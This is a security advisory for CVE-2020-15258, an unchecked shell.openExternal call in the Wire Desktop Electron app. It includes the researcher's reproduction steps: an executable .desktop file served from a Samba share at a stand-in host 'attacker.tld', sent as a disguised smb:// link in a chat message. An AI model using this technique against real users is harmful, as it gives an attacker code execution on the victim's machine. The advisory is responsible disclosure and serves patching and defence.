Insecure use of shell.openExternal

High **franziskuskiefer** published **GHSA-5gpx-9976-ggpm** on Oct 9, 2020

Package

No package listed

Affected versions	Patched versions
<= 3.19.x	3.20.x

Description

`shell.openExternal` was used without checking the URL.

Impact

This vulnerability allows an attacker to execute code on the victims machine.
The victim has to interact with the link though and sees the URL that is opened.
We therefore rate this vulnerability high.

Patches

The issue was patched by implementing a helper function which checks if the URL's protocol is common. If it is common, the URL will be opened externally. If not, the URL will not be opened and a warning appears for the user informing them that a probably insecure URL was blocked from being executed.

References

https://benjamin-altpeter.de/shell-openexternal-dangers/

Credit

This issue was reported by Benjamin Altpeter.

For more information

If you have any questions or comments about this advisory:

- Open an issue in the repo
- Email us at vulnerability-report@wire.com

Details and Report

I have found that the Wire Desktop Electron app opens new windows using `shell.openExternal()`. This allows an attacker to gain remote code execution on a user's computer if they middleclick a malicious link.

The attack presented here works on Xubuntu 20.04. Similar attacks will work on other operating systems.

Steps to reproduce:

1. Install Wire Desktop on Xubuntu 20.04.
2. Start a conversation.
3. Setup a public Samba server (at `attacker.tld` in this example) and create a public share (named `public` here). In this share, publish the following file as `pwn.desktop` and make it executable:

```
[Desktop Entry]
Exec=bash -c "(mate-calc &); xmessage \"Hello from Electron.\""
Type=Application
```

4. From another account in the same conversation, send the following message with the corresponding values replaced: `[Check out this great video!](smb://attacker.tld/public/pwn.desktop)`
5. Middleclick the link and (if necessary) confirm starting the untrusted launcher.
6. Notice the calculator and message box appearing, confirming remote code execution.

I have attached a video of the attack to the report.

Affected version: Tested using the latest version 3.18.2925 (from: https://github.com/wireapp/wire-desktop/releases/tag/linux%2F3.18.2925)

Cause and suggested fixes:

The problem is in the handler for the `new-window` event:

wire-desktop/electron/src/main.ts
Lines 258 to 268 in cc82611

```
258     main.webContents.on('new-window', async (event, url) => {
259       event.preventDefault();
```

```
260
261       // Ensure the link does not come from a webview
262       if (typeof (event as any).sender.viewInstanceId !== 'undefined') {
263         logger.log('New window was created from a webview, aborting.');
264         return;
265       }
266
267       await shell.openExternal(url);
268     });
```

All URLs are passed to `shell.openExternal()`. Instead, I strongly recommend switching to an allowlist that only allows a selection of protocols (`http://`, `https://` and `mailto:` will probably be enough). Note that blocking `smb:` isn't enough as this is just one example of a protocol that can be used for exploitation.

Severity:

- The attack can be triggered remotely by an attacker by simply sending a message to a conversation.
- The particular attack presented here requires user interaction. The user has to middleclick the link (which is obfuscated) and potentially confirm launching the executable. The last part may not be necessary depending on the particular attack vector and system the user runs.
- This particular presented attack only works on certain Linux distributions. However, this is only due to the particular attack payload used (a Linux `.desktop` file accessed over Samba). Similar payloads will also work on other Linux distributions as well as Windows and macOS. The Electron documentation explicitly warns against using `shell.openExternal()` with untrusted content: https://www.electronjs.org/docs/tutorial/security#14-do-not-use-openexternal-with-untrusted-content
- If the attack is executed successfully, the attacker can run arbitrary code on the user's system.
- Patching the problem is simple and doesn't break any legitimate use cases that I can think of.

Severity

High

CVE ID

CVE-2020-15258

Weaknesses

No CWEs

Credits

 baltpeter